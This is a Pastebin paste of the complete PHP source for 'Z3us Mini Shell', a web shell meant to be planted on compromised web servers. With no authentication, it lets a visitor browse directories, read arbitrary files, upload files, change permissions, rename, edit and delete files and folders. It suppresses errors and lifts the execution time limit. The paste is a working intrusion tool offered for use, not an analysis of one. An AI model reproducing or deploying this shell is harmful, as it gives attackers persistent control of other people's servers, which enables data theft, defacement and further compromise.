Guest User

Shell.php

a guest
Jan 13th, 2019
3,232
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.31 KB | None | 0 0
  1. <?php
  2. set_time_limit(0);
  3. error_reporting(0);
  4.  
  5. if(get_magic_quotes_gpc()){
  6. foreach($_POST as $key=>$value){
  7. $_POST[$key] = stripslashes($value);
  8. }
  9. }
  10. echo '<!DOCTYPE HTML>
  11. <HTML>
  12. <HEAD>
  13. <link href="" rel="stylesheet" type="text/css">
  14. <title>Z3us tamvan :v</title>
  15. <style>
  16. body{
  17. font-family: "console", cursive;
  18. background-color: #000000;
  19. text-shadow:0px 0px 1px #FFFFFF
  20. }
  21. #content tr:hover{
  22. background-color: #FFFFFF;
  23. text-shadow:0px 0px 10px #FF0000;
  24. }
  25. #content .first{
  26. background-color: silver;
  27. }
  28. #content .first:hover{
  29. background-color: silver;
  30. text-shadow:0px 0px 1px #0000FF;
  31. }
  32. table{
  33. border: 1px #FFFFFF dotted;
  34. }
  35. H1{
  36. font-family: "Rye", cursive;
  37. }
  38. a{
  39. color: #ff0000;
  40. text-decoration: none;
  41. }
  42. a:hover{
  43. color: #FFFFFF;
  44. text-shadow:0px 0px 10px #ffffff;
  45. }
  46. input,select,textarea{
  47. border: 2px #FF0000 solid;
  48. -moz-border-radius: 5px;
  49. -webkit-border-radius:5px;
  50. border-radius:5px;
  51. }
  52. </style>
  53. </HEAD>
  54. <BODY>
  55. <center><img src="http://busainofruits.com/php/uploads/1516038681.png"></center>
  56. <H1><center>Z3us Mini Shell</center></H1>
  57. <body background="http://busainofruits.com/php/uploads/1516465029.jpg">
  58. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  59. <tr><td>Current Path : ';
  60. if(isset($_GET['path'])){
  61. $path = $_GET['path'];
  62. }else{
  63. $path = getcwd();
  64. }
  65. $path = str_replace('\\','/',$path);
  66. $paths = explode('/',$path);
  67.  
  68. foreach($paths as $id=>$pat){
  69. if($pat == '' && $id == 0){
  70. $a = true;
  71. echo '<a href="?path=/">/</a>';
  72. continue;
  73. }
  74. if($pat == '') continue;
  75. echo '<a href="?path=';
  76. for($i=0;$i<=$id;$i++){
  77. echo "$paths[$i]";
  78. if($i != $id) echo "/";
  79. }
  80. echo '">'.$pat.'</a>/';
  81. }
  82. echo '</td></tr><tr><td>';
  83. if(isset($_FILES['file'])){
  84. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  85. echo '<font color="green">Upload File Berhasil anda sangat tamvan</font><br />';
  86. }else{
  87. echo '<font color="red">Upload File Gagal,anda kurang tamvan</font><br />';
  88. }
  89. }
  90. echo '<form enctype="multipart/form-data" method="POST">
  91. Upload File : <input type="file" name="file" />
  92. <input type="submit" value="upload" />
  93. </form>
  94. </td></tr>';
  95. if(isset($_GET['filesrc'])){
  96. echo "<tr><td>Current File : ";
  97. echo $_GET['filesrc'];
  98. echo '</tr></td></table><br />';
  99. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  100. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  101. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  102. if($_POST['opt'] == 'chmod'){
  103. if(isset($_POST['perm'])){
  104. if(chmod($_POST['path'],$_POST['perm'])){
  105. echo '<font color="green">Mengubah Permission Berhasil</font><br />';
  106. }else{
  107. echo '<font color="red">Mengubah Pemission Gagal Sad Euy :(</font><br />';
  108. }
  109. }
  110. echo '<form method="POST">
  111. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  112. <input type="hidden" name="path" value="'.$_POST['path'].'">
  113. <input type="hidden" name="opt" value="chmod">
  114. <input type="submit" value="Go" />
  115. </form>';
  116. }elseif($_POST['opt'] == 'rename'){
  117. if(isset($_POST['newname'])){
  118. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  119. echo '<font color="green">Ganti Nama Berhasil</font><br />';
  120. }else{
  121. echo '<font color="red">Ganti Nama Gagal Sad Kampret</font><br />';
  122. }
  123. $_POST['name'] = $_POST['newname'];
  124. }
  125. echo '<form method="POST">
  126. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  127. <input type="hidden" name="path" value="'.$_POST['path'].'">
  128. <input type="hidden" name="opt" value="rename">
  129. <input type="submit" value="Go" />
  130. </form>';
  131. }elseif($_POST['opt'] == 'edit'){
  132. if(isset($_POST['src'])){
  133. $fp = fopen($_POST['path'],'w');
  134. if(fwrite($fp,$_POST['src'])){
  135. echo '<font color="green">Edit File Berhasil</font><br />';
  136. }else{
  137. echo '<font color="red">Edit File Gagal</font><br />';
  138. }
  139. fclose($fp);
  140. }
  141. echo '<form method="POST">
  142. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  143. <input type="hidden" name="path" value="'.$_POST['path'].'">
  144. <input type="hidden" name="opt" value="edit">
  145. <input type="submit" value="Go" />
  146. </form>';
  147. }
  148. echo '</center>';
  149. }else{
  150. echo '</table><br /><center>';
  151. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  152. if($_POST['type'] == 'dir'){
  153. if(rmdir($_POST['path'])){
  154. echo '<font color="green">Menghapus Directory Berhasil</font><br />';
  155. }else{
  156. echo '<font color="red">Menghapus Directory Gagal</font><br />';
  157. }
  158. }elseif($_POST['type'] == 'file'){
  159. if(unlink($_POST['path'])){
  160. echo '<font color="green">Delete File Done.</font><br />';
  161. }else{
  162. echo '<font color="red">Delete File Error.</font><br />';
  163. }
  164. }
  165. }
  166. echo '</center>';
  167. $scandir = scandir($path);
  168. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  169. <tr class="first">
  170. <td><center>Name</center></td>
  171. <td><center>Size</center></td>
  172. <td><center>Permissions</center></td>
  173. <td><center>Options</center></td>
  174. </tr>';
  175.  
  176. foreach($scandir as $dir){
  177. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  178. echo "<tr>
  179. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  180. <td><center>--</center></td>
  181. <td><center>";
  182. if(is_writable("$path/$dir")) echo '<font color="Blue">';
  183. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  184. echo perms("$path/$dir");
  185. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  186.  
  187. echo "</center></td>
  188. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  189. <select name=\"opt\">
  190. <option value=\"\"></option>
  191. <option value=\"delete\">Delete</option>
  192. <option value=\"chmod\">Chmod</option>
  193. <option value=\"rename\">Rename</option>
  194. </select>
  195. <input type=\"hidden\" name=\"type\" value=\"dir\">
  196. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  197. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  198. <input type=\"submit\" value=\"Oke\" />
  199. </form></center></td>
  200. </tr>";
  201. }
  202. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  203. foreach($scandir as $file){
  204. if(!is_file("$path/$file")) continue;
  205. $size = filesize("$path/$file")/1024;
  206. $size = round($size,3);
  207. if($size >= 1024){
  208. $size = round($size/1024,2).' MB';
  209. }else{
  210. $size = $size.' KB';
  211. }
  212.  
  213. echo "<tr>
  214. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  215. <td><center>".$size."</center></td>
  216. <td><center>";
  217. if(is_writable("$path/$file")) echo '<font color="Blue">';
  218. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  219. echo perms("$path/$file");
  220. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  221. echo "</center></td>
  222. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  223. <select name=\"opt\">
  224. <option value=\"\"></option>
  225. <option value=\"delete\">Delete</option>
  226. <option value=\"chmod\">Chmod</option>
  227. <option value=\"rename\">Rename</option>
  228. <option value=\"edit\">Edit</option>
  229. </select>
  230. <input type=\"hidden\" name=\"type\" value=\"file\">
  231. <input type=\"hidden\" name=\"name\" value=\"$file\">
  232. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  233. <input type=\"submit\" value=\"Oke\" />
  234. </form></center></td>
  235. </tr>";
  236. }
  237. echo '</table>
  238. </div>';
  239. }
  240. echo '<center><br />Mr.Z3us</font><center>
  241. </BODY>
  242. </HTML>';
  243. function perms($file){
  244. $perms = fileperms($file);
  245.  
  246. if (($perms & 0xC000) == 0xC000) {
  247. // Socket
  248. $info = 's';
  249. } elseif (($perms & 0xA000) == 0xA000) {
  250. // Symbolic Link
  251. $info = 'l';
  252. } elseif (($perms & 0x8000) == 0x8000) {
  253. // Regular
  254. $info = '-';
  255. } elseif (($perms & 0x6000) == 0x6000) {
  256. // Block special
  257. $info = 'b';
  258. } elseif (($perms & 0x4000) == 0x4000) {
  259. // Directory
  260. $info = 'd';
  261. } elseif (($perms & 0x2000) == 0x2000) {
  262. // Character special
  263. $info = 'c';
  264. } elseif (($perms & 0x1000) == 0x1000) {
  265. // FIFO pipe
  266. $info = 'p';
  267. } else {
  268. // Unknown
  269. $info = 'u';
  270. }
  271.  
  272. // Owner
  273. $info .= (($perms & 0x0100) ? 'r' : '-');
  274. $info .= (($perms & 0x0080) ? 'w' : '-');
  275. $info .= (($perms & 0x0040) ?
  276. (($perms & 0x0800) ? 's' : 'x' ) :
  277. (($perms & 0x0800) ? 'S' : '-'));
  278.  
  279. // Group
  280. $info .= (($perms & 0x0020) ? 'r' : '-');
  281. $info .= (($perms & 0x0010) ? 'w' : '-');
  282. $info .= (($perms & 0x0008) ?
  283. (($perms & 0x0400) ? 's' : 'x' ) :
  284. (($perms & 0x0400) ? 'S' : '-'));
  285.  
  286. // World
  287. $info .= (($perms & 0x0004) ? 'r' : '-');
  288. $info .= (($perms & 0x0002) ? 'w' : '-');
  289. $info .= (($perms & 0x0001) ?
  290. (($perms & 0x0200) ? 't' : 'x' ) :
  291. (($perms & 0x0200) ? 'T' : '-'));
  292.  
  293. return $info;
  294. }
  295. ?>
Add Comment
Please, Sign In to add comment